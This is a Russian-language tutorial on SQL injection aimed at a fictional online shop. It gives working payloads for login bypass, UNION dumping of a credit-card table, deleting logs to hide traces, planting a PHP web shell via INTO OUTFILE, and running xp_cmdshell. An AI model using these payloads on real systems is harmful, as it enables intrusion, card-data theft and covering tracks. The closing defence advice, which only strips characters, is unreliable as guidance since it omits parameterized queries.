SQL Injection howto

Не секрет, что баги в скриптах всегда были ахиллесовой пятой многих веб-ресурсов. Просканишь хост, посмотришь, какие сервисы и каких версий там крутятся, и опускаешь руки - просто неоткуда подступиться. Все лишнее закрыто фаерволом, а то, что открыто - пропатчено до последних версий. Засекурено по максимуму. И тут исход взлома решает какая-то байда в скрипте, заставляющая прыгать от радости.

Итак, сегодня на повестке дня - техника взлома скриптов, почти по-наркомански называемая SQL injection. Для понимания всех прелестей этой фишки неплохо бы немного знать, что такое SQL, или, по-нашему, скуль. Об этом очень кратко читай в следующих абзацах.

Ликбез по SQL

Язык SQL (Structured Query Language) на сегодняшний день является стандартом де-факто практически для всех распространенных серьезных СУБД. Он предназначен для составления запросов к базе данных. Запросы могут иметь цель добавить некоторые данные в базу, их модификацию, поиск и т.д. Работает это следующим образом. На языке SQL составляется некоторое выражение (запрос). Затем оно передается серверу базы данных, который, в свою очередь, обрабатывает его и возвращает результат этой обработки программе, сделавшей запрос.

Язык SQL достаточно удобен и очень прост для изучения, благодаря чему он получил такое широкое распространение - большая часть мало-мальски серьезных cgi-скриптов работают с базами данных, используя SQL.

Любая база данных - это набор таблиц, предназначенных для хранения однотипной информации. Каждая таблица имеет имя и состоит из записей. Запись - это своего рода единица информации, хранимая в базе данных. Информация в записи поделена на поля. Вот пример таблицы:

cc_type, cc_number, cc_holder - названия полей.

Вторая строка - это запись.

Visa, 123, Agent Smith - значения полей записи.

При помощи языка SQL можно производить различные операции с базой данных, таблицами и записями. Основные команды языка:

SELECT - извлечение инфы из таблицы.

INSERT - добавление записи в таблицу.

UPDATE - изменение записи.

DELETE - удаление записи.

Простейшее SQL-выражение может выглядеть так:

SELECT cc_number, cc_holder FROM cc_table WHERE cc_type='visa'

Ключевое слово FROM указывает таблицу, к которой будет применяться это выражение. После необязательного WHERE идет условие, определяющее, по каким параметрам будут отфильтровываться записи таблицы. Результатом данного запроса станет извлечение из таблицы cc_table записей, в которых поле cc_type имеет значение 'visa'. Программе, передавшей данный запрос базе данных, будут возращены не полные записи, а только поля cc_number и cc_holder.

После WHERE может содержаться несколько условий, разделенных логическими операторами:

WHERE cc_type='visa' AND cc_number=1234 OR cc_number=4321

Как было сказано, добавление записей производится командой INSERT. Вот пример запроса:

INSERT INTO cc_table VALUES ('amex', 12345, 'Neo')

Результатом обработки запроса станет добавление в таблицу cc_table новой записи, в которой поле cc_type примет значение 'amex', cc_number - 12345, cc_holder - 'Neo'.

Вот пример с UPDATE:

UPDATE cc_table SET cc_number=12345 WHERE cc_holder='Agent Smith'

Здесь произойдет просмотр таблицы cc_table. Если в соответствующих записях значение поля cc_holder будет равно 'Agent Smith', то значение cc_number сменится на 12345.

А это запрос DELETE:

DELETE FROM cc_table WHERE cc_type='visa'

Удалятся все записи из таблицы, где поле cc_type равно значению 'visa'.

На этом небольшой ликбез по SQL закончился. Теперь можно приступить к самому вкусному. Тому, ради чего поднялся весь сыр-бор: SQL injection.

SQL injection

Суть ошибок класса SQL injection состоит в том, что из-за некорректной обработки данных, передаваемых скрипту, потенциальный хакер может изменить составляемый скриптом SQL-запрос со всеми вытекающими отсюда последствиями. К примеру, в случае с инет-магазином, он может таким образом изменить запрос, что SQL-сервер после его обработки выдаст все содержимое таблицы, в которой содержится инфа о предыдущих клиентах магазина, включая номера их кредитных карточек и т.д. и т.п.

Это может выглядеть следующим образом. Предположим, что в составе интернет-магазина присутствует скрипт, принимающий от юзера логин и пароль и выдающий инфу о его предыдущих покупках, номерах карточек и т.д. Логин и пароль загоняются скриптом в следующее SQL-выражение, которое передается серверу базы данных:

SELECT * FROM clients WHERE login='$login' AND password='$password'

В результате обработки данного выражения сервер возвращает скрипту все записи в таблице, соответствующие логину юзверя.

Данные, введенные юзверем ($login и $password), берутся из web-формы и напрямую подставляются в это SQL-выражение. Отсюда появляется возможность хитрым образом так задать логин и пароль, что логика SQL-выражения немного изменится, в результате чего сервер базы данных возвратит записи из таблицы clients, соответствующие всем клиентам магазина со всеми данными о них. К примеру, это можно сделать так: в качестве логина задать такую строку: "nobody' OR ''='", а в качестве пароля "nopassword' OR ''='". С использованием этих данных скрипт сформирует такое выражение:

SELECT * FROM clients WHERE login='nobody' OR ''='' AND password='nopassword' OR ''=''

И под это SQL-выражение будут попадать все записи таблицы clients, т.к. login='nobody' OR ''='' и password='nopassword' OR ''='' всегда будут истинными. Так хакеры и ломают многие базы данных.

Собственно говоря, мы сделали то, что принято называть SQL injection. Дальше же будут приведены некоторые особо часто используемые трюки, которые проворачивают, если есть хоть какая-то возможность повлиять на SQL-выражение.

UNION

В предыдущем примере мы предположили, что вся инфа о юзверях содержится в таблице clients. Немного изменим условия. Допустим, в таблице clients находятся просто записи о клиентах - имена, фамилии и т.д. Номера же кредитных карточек располагаются в другой таблице, допустим, cards. Соответственно, теперь стоит задача вытянуть инфу из этой таблицы, смодифицировав уже указанный выше запрос:

SELECT * FROM clients WHERE login='$login' AND password='$password'

Здесь на помощь приходит такой элемент языка SQL, как UNION. UNION обычно используется в случае необходимости объединить результаты обработки двух запросов в один:

SELECT smth FROM table1 UNION SELECT smth FROM table2

Заюзав UNION, можно добавить еще один SELECT, который будет извлекать инфу из таблицы cards. Для этого в качестве пароля в форме может быть задано что-то вроде этого:

' UNION SELECT * FROM cards WHERE ''='

В итоге получается:

SELECT * FROM clients WHERE login='nologin' AND password='nopassword' UNION SELECT * FROM cards WHERE ''=''

После приема такого запроса произойдет вывод всего содержимого таблицы cards.

При использовании UNION необходимо учитывать следующий момент. Оба SELECT'а должны выдавать одинаковое количество столбцов, иначе произойдет глюк. Грубо говоря, если в таблице clients - всего 4 столбца, а в cards - 5, вышеуказанный пример работать не будет. Чтобы он все-таки заработал, надо задать не "SELECT *", а, например, "SELECT type, number, holder, address".

Использование разделителей SQL-выражений

Если sql-сервер позволяет задавать в одном запросе несколько SQL-выражений, разделенных некоторым символом, то это открывает перед потенциальным атакующим более широкие возможности. Следует отметить, что фичи такого рода поддерживаются далеко не всеми серверами баз данных. К примеру, Microsoft SQL Server позволяет это делать, интерпретируя в качестве разделителя символ ';', а MySQL - нет.

Опять небольшой пример с использованием того же SQL-выражения, что и выше. Допустим, веб-магазин использует базу данных, крутящуюся на скульном сервере от Дяди Билли. Допустим также, что атакующему надо почистить логи, которые скрипт сохраняет в таблицу logs, содержащую поле с именем remote_ip. Ему надо удалить все записи, содержащие в поле remote_ip его IP-адрес. Удаление записей производится при помощи SQL-команды DELETE. Соответственно, удаление логов может выполняться командой:

DELETE FROM logs WHERE remote_ip='IP address'

Без использования разделителей совместить оригинальное выражение

SELECT * FROM clients WHERE login='$login' AND password='$password'

с DELETE затруднительно. А с их использованием все делается на раз-два. Достаточно в качестве пароля забить в форму, например, "nopassword'; DELETE FROM logs WHERE remote_ip='10.0.0.2", и все становится на свои места:

SELECT * FROM clients WHERE login='nologin' AND password='nopassword'; DELETE FROM logs WHERE remote_ip='10.0.0.2'

Теперь логи почищены.

Естественно, что помимо DELETE после разделителя можно забить ЛЮБУЮ SQL-конструкцию, поддерживаемую сервером: SELECT, INSERT, UPDATE и т.д.

Вывод в файл

Некоторые SQL-сервера позволяют выводить результаты обработки SQL-выражений во внешний файл. Когда это может быть полезным? Самое первое, что может прийти на ум хакеру - это собрать какой-нить скрипт, облегчающий дальнейшее юзание сервера. К примеру, php-шелл.

В сервере MySQL вывод в файл происходит посредством команды INTO OUTFILE. В простейшем случае это делается так:

INSERT '<? system($cmd) ?>' INTO OUTFILE /www/inetshop/htdocs/shell.php

Если наш вебшоп с багой "крутится" на MySQL, то втупую проинжектить select этим запросом не получится - MySQL, к сожалению, не поддерживает разделителей.

Ситуацию спасает то, что "INTO OUTFILE" может использоваться вместе с SELECT'ом, выдавая результат обработки запроса (т.е. содержимое таблицы) не скрипту, сделавшему запрос, а напрямую в файл. Но тут возникает еще одна проблема. Нужная строка, которую надо записать в файл, должна уже присутствовать в базе. Если в магазине присутствует скрипт регистрации, то что мешает зарегистрироваться и в качестве имени юзера, пароля или еще чего-нибудь задать нужную строку? После регистрации надо сделать так, чтобы оригинальный запрос принял, скажем, такую форму:

SELECT * FROM clients WHERE login='<? system($cmd) ?>' AND password='our_password' INTO OUTFILE '/www/inetshop/htdocs/shell.php'

Как нетрудно догадаться, для успешного "инжектирования" логин должен быть - "<? system($cmd) ?>", а пароль - "ourpassword' INTO OUTFILE '/www/inetshop/htdocs/filename".

В MS SQL вывод в файл происходит несколько иначе. В поставке с ним идет большое количество модулей, содержащих различные процедуры, которые можно вызывать непосредственно из SQL-выражения. Одна из них - master.dbo.sp_makewebtask - как раз предназначена для вывода результатов выполнения скульных выражений в файл:

EXEC sp_makewebtask 'c:\inetpub\wwwroot\shell.php', "скульное выражение"

Ключевое слово EXEC предназначено для выполнения внешних процедур, какой и является sp_makewebtask. Используя разделители, эту строчку можно вогнать в поле веб-формы, предназначенное для пароля, и получить на выходе отличный скриптец.

Исполнение команд шелла

Иногда можно избежать процесса сборки скриптов, т.е. не использовать средства вывода в файл, а сделать выполнение команд шелла прямо из SQL-выражения. Эта фича, естественно, не входит в спецификацию языка SQL, поэтому, как и вывод в файл, ее наличие или отсутствие полностью лежит на совести разработчика сервера.

Например, исполнение шелл-команд возможно в MS SQL Server путем использования процедуры master.dbo.xp_cmdshell. Юзается это довольно просто. Вот пример SQL-выражения:

EXEC master.dbo.xp_cmdshell 'cmd.exe dir'

Вкупе с тем, что MS SQL поддерживает разделители (';'), вызов внешних процедур при проведении атаки проходит на ура. С тем самым магазином атакующему достаточно в качестве пароля ввести всего лишь "' EXEC master.dbo.xp_cmdshell 'cmd.exe dir".

Some tricks

Во многих приведенных выше примерах предполагалось, что потенциальный атакующий знает названия таблиц и полей в них. В реальной жизни это не всегда так - зачастую приходится иметь дело с самописными скриптами, исходники которых попросту недоступны. Но, как говорится, на каждую хитрую...

В подавляющем большинстве серверов инфа обо всех базах, поддерживаемых сервером, хранится в системных таблицах, имена которых имеют дефолтовые названия. То же самое относится и к названиям полей в них. В этих таблицах можно найти исчерпывающую информацию, касающуюся структуры любой базы данных на сервере. Далее приведена небольшая подборка названий таблиц для разных серверов. Для получения подробной информации о содержимом этих таблиц было бы неплохо глянуть в документацию по конкретному серверу, хотя до смысла большинства полей можно логически дойти, просто заселектив все их содержимое:

1) MS SQL

sysobjects

syscolumns

2) MySQL

mysql.user

mysql.host

mysql.db

3) Oracle

SYS.USER_OBJECTS

SYS.USER_TABLES

SYS.USER_VIEWS

SYS.USER_TAB_COLUMNS

SYS.TAB

SYS.ALL_TABLES

Защита от подобного

Чтобы защитить свои скрипты от подобной напасти, необходимо тщательно проверять всю входящую информацию. Нельзя доверять пользователям. Минимум, что надо делать, это удалять следующие символы:

1) Кавычки.

И двойные, и одинарные. С их помощью можно добавлять левые параметры в запрос.

2) Точка с запятой.

Она разделяет запросы (не во всех sql-серверах; mysql, например, этого не поддерживает). Ее наличие может привести к добавлению левых команд в SQL-запрос.

Также стоит проверять и другие символы, например, подчеркивание (_), знак процента (%), звездочка (*). Все они могут привести к нежелательным последствиям, поэтому очень важно отфильтровывать лишние данные.

Заключение

Нельзя сказать, что тема атак класса SQL Injection полностью рассмотрена. Каждая реализация SQL-сервера имеет свои особенности, которые потенциальный взломщик может использовать себе на благо. Естественно, для этого надо хорошо разбираться в том или ином диалекте языка SQL. Но самых популярных серверов на сегодняшний день всего несколько: MySQL, Postgres, MS SQL, Oracle. Для их защиты, особенно в случае с MySQL и Postgres, не требуется больших усилий. Главное грамотно проверять входящие данные. Это как минимум спасет твой сайт от утечки данных через скрипты. Так что помни об этом. Удачи!